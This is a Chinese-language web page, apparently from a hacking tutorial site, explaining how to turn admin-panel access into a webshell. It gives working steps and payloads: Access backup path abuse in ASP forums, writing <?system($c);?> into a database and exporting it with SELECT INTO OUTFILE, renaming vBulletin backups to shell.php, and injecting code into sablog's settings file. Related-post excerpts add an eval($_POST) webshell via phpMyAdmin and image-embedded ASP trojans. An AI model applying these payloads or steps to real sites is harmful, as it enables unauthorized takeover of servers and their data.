从后台到webshell的一点思路

主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能,“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改为asp,从而得到webshell,msssql版的程序就直接应用了access版的代码,导致sql版照样可以利用。具体方法和分析可以参考angel的文章《动网论坛7.0获得WebShell的分析》。据我所知,目前还有很多的asp程序后台存在这样的漏洞,利用方法大同小异。

php+mysql程序

① 利用后台的数据查询功能

  在有的程序后台提供直接对mysql数据查询功能,我们就可以利用它执行SELECT ... INTO OUTFILE查询输出php文件,因为所有的数据是存放在mysql里的,所以我们可以通过正常手段把我们的webshell代码插入mysql在利用SELECT ... INTO OUTFILE语句导出shell。我们这里用ipb论坛做个演示:

第一步:把我们的webshell代码写入数据库

  随便找个可以写入的地方(注意对你输入的要没有进行过滤),这里我们就用后台的新建立个论坛,在论坛描叙里写入我们的shell代码<?system($c);?> 提交 ok这样就把我们的shell写入了数据库了。

第二步:导出webshell

  我们来到“SQL Management”里的“mySQL Toolbox”在“Run Query”里写入语句:

SELECT * FROM 123forums into OUTFILE 'd:\shell.php'

  shell代码所在的表,web目录绝对路径,如果主机mysql查询成功,我们就得到我们webshell:

http://127.0.0.1/test/shell.php?c=dir

② 利用mysql数据备用

  思路结合上面的2种情况,有的程序在备用数据库时 对备用文件的类型没有限制,从而导出php文件,我们和①中那样,通过把webshell代码写入数据库中,在利用数据备用导出webshell,我们大家熟悉的vbb论坛就可以用这个方法来得到webshell,我们设置用户的签名为<?system($c);?> 然后到后台的数据库备份,在“在服务器上备份数据库到文件”里改为shell.php,提交保存。我们就可以在论坛的根目录下访问我们的shell了,因为可能到处的文件比较大,我们可以换一个可以生成文件的webshell代码。

补充思路

  利用web后台系统设置,如果是系统设置是保存在php/asp文件了,我们可以同过在设置里写入webshell代码到保存设置的php/asp文件了.

演示

  程序sablog,sablog的基本设置保存在admin\settings.php 由于后台在提交设置的变量十没有过滤,导致我们可以向admin\settings.php写入任意代码。

  进入后台--“基本设置”--“blog名称”(其他项也可以)--填入代码:sss";phpinfo();"ss --提交。

  这样我们就把phpinfo()写入了admin\settings.php,我们可以看到admin\settings.php正常显示php的信息。

小结

  上面是php等系统的演示,同样也适合asp等其他的系统(比如动力,惊云下载等等)。只是注意在写代码的时候要小心,如果代码有错,可能导致整个web系统的瘫痪。

  还有一个是利用上传漏洞的 这个就不要多说了 呵呵:)。

(0)

相关推荐

  • 从后台到webshell的一点思路

    主要是利用后台对access数据库的"备份数据库"或"恢复数据库"功能,"备份的数据库路径"等变量没有过滤导致可以把任意文件后缀改为asp,从而得到webshell,msssql版的程序就直接应用了access版的代码,导致sql版照样可以利用.具体方法和分析可以参考angel的文章<动网论坛7.0获得WebShell的分析>.据我所知,目前还有很多的asp程序后台存在这样的漏洞,利用方法大同小异. php+mysql程序 ① 利用后

  • 关于mysql 3.0的注射的一点思路

    mysql 3.0的注射 对mysql的注射主要是靠union 的联合查询,但union只对版本4.0以上的有用,对3.0以下的就没用了.......... 所以在mysql 3.0的数据库里没办法使用union进行跨表查询,但可以使用load_file 但是也不可以直接使用union替换出来. 下面就是我的一点思路: 得到版本: mysql> select * from user where userid=1 and length(version())<10; Empty set (0.00

  • 关于php 高并发解决的一点思路

    我的思路如下(伪代码): sql1:查询商品库存 if(库存数量 > 0) { //生成订单... sql2:同时库存-1 } 当没有并发时,上面的流程看起来是再正常不过了,假设同时两个人下单,而库存只有1个了,在sql1阶段两个人查询到的库存都是>0的,于是最终都执行了sql2,库存最后变为-1,超售了,这不是我们想要的结果吧. 解决这个问题比较流行的思路我总结了下: 1.用额外的单进程处理一个队列,下单请求放到队列里,一个个处理,就不会有并发的问题了,但是要额外的开启后台进程以及延迟问题,

  • phpMyAdmin 后台拿webshell

    1.如何拿到登陆密码. 自己想办法  2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径. 3.选择一个Database.运行以下语句. ----start code--- Create TABLE a (cmd text NOT NULL); Insert INTO a (cmd) VALUES('<?php eval($_POST[1]);?>'); select cmd from a into outfile

  • dvbbs7.1 照样从后台得到webshell

    文章作者:喜欢忧伤 信息来源:邪恶八进制安全小组 背景: dvbbs7.1在后台备份里面加了access数据库检查了.所以原来的gif图片恢复成后门已经不行了 解决办法: 我把asp木马插入到数据库里,然后恢复.这样肯定检查肯定可以通过的. 具体过程: 前提: (偶以默认的安装情况为准,具体情况的把握靠自己了.) 你得到论坛dvbbs7.1后台. 1.偶已经作好一个数据库了:里面插入了加密的asp后门[就是那个写马的后门] 同时已经修改名字成dvbbsToshell.gif(文章最后有下载)了

  • phpBB 2.0.13惊现漏洞的解决

    一.Path Disclosure 漏洞文件:/db/oracle.php 漏洞描叙:直接访问oracle.php,导致暴露web路径 涉及版本:phpbb <=2.013 测试:ie提交http://127.0.0.1/phpBB2/db/oracle.php 返回错误: Fatal error: Cannot redeclare sql_nextid() in f:\easyphp1-7\www\phpbb2\db\oracle.php on line 405 解决办法 如果你不是采用的or

  • Android实现TCP断点上传 后台C#服务接收

    终端实现大文件上传一直都是比较难的技术,其中涉及到后端与前端的交互,稳定性和流量大小,而且实现原理每个人都有自己的想法,后端主流用的比较多的是Http来实现,因为大多实现过断点下载.但稳定性不能保证,一旦断开,无法续传.所以得采用另一种流行的做法,TCP上传大文件. 网上查找了一些资料,大多数是断点下载,然后就是单独的C#端的上传接收,或是HTTP的,或是只有android端的,由于任务紧所以之前找的首选方案当然是Http先来实现文件上传,终端采用Post方法,将文件直接传至后端,后端通过Fil

  • 让你变成ASP木马高手

    1.名称:如何制作图片ASP木马 (可显示图片)  建一个asp文件,内容为<!--#i nclude file="ating.jpg"-->  找一个正常图片ating.jpg,插入一句话木马(比如冰狐的),用ultraedit进行hex编译,插入图片里,为  了运行成功,还要搜索<%和%>,将其变为00,(不要替换自己asp的),再把jpg文件开头加入  <SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(

  • Java中的Unsafe在安全领域的使用总结和复现(实例详解)

    目录 0前言 1基本使用 1.1内存级别修改值 1.2创建对象 1.3创建VMAnonymousClass 2利用姿势 2.1修改值以关闭RASP等防御措施 2.2创建NativeLibrary对象实现webshell 2.3匿名的内存马 2.4shellcode和instrumentation对象构建 3总结 参考: 总结并复现了一下Unsafe在安全领域的一些应用 0 前言 unsafe里面有很多好用的方法,比如allocateInstance可以直接创建实例对象,defineAnonymo

  • 从零搭建SpringBoot+MyBatisPlus快速开发脚手架

    目录 前言 聊聊mall-tiny项目 项目简介 项目演示 技术选型 数据库表结构 接口文档 使用流程 升级过程 Swagger升级 Spring Security升级 MyBatis-Plus升级 解决循环依赖问题 解决跨域问题 总结 前言 关注我Github的小伙伴应该了解,之前我开源了一款快速开发脚手架mall-tiny,该脚手架继承了mall项目的技术栈,拥有完整的权限管理功能.最近抽空把该项目支持了Spring Boot 2.7.0,今天再和大家聊聊这个脚手架,同时聊聊升级项目到Spr

随机推荐